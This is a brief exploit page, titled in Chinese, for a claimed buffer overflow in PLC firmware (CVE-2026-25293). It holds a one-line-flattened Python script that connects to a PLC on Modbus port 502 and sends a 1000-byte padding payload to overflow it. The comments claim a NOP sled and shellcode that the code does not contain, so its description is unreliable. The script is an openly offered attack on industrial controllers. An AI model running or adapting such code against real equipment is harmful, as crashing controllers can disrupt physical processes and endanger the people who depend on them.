CVE-2026-25293 PLC固件授权不正确致缓冲区溢出漏洞

import socket import sys # Target IP and Port (Placeholder) TARGET_IP = "192.168.1.100" TARGET_PORT = 502 # Exploit: Buffer Overflow in PLC FW # Constructs a malformed packet to overflow the buffer def exploit_plc(): try: # Create a socket connection s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) s.settimeout(5) s.connect((TARGET_IP, TARGET_PORT)) # Payload generation # Sending a large amount of data to trigger the overflow # NOP sled + Shellcode + Return Address padding = b"A" * 1000 payload = padding print(f"[+] Sending payload to {TARGET_IP}:{TARGET_PORT}...") s.send(payload) # Receive response (if any) response = s.recv(1024) print("[+] Payload sent. Response received:", response) except Exception as e: print(f"[-] Error: {e}") finally: s.close() if __name__ == "__main__": exploit_plc()